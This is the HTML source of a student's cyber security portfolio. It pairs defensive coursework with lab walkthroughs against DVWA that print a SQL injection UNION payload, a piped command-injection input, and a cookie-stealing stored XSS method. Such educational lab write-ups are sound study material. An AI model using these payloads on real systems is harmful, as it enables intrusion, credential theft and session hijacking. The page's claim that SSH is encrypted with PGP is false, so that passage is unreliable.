href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie 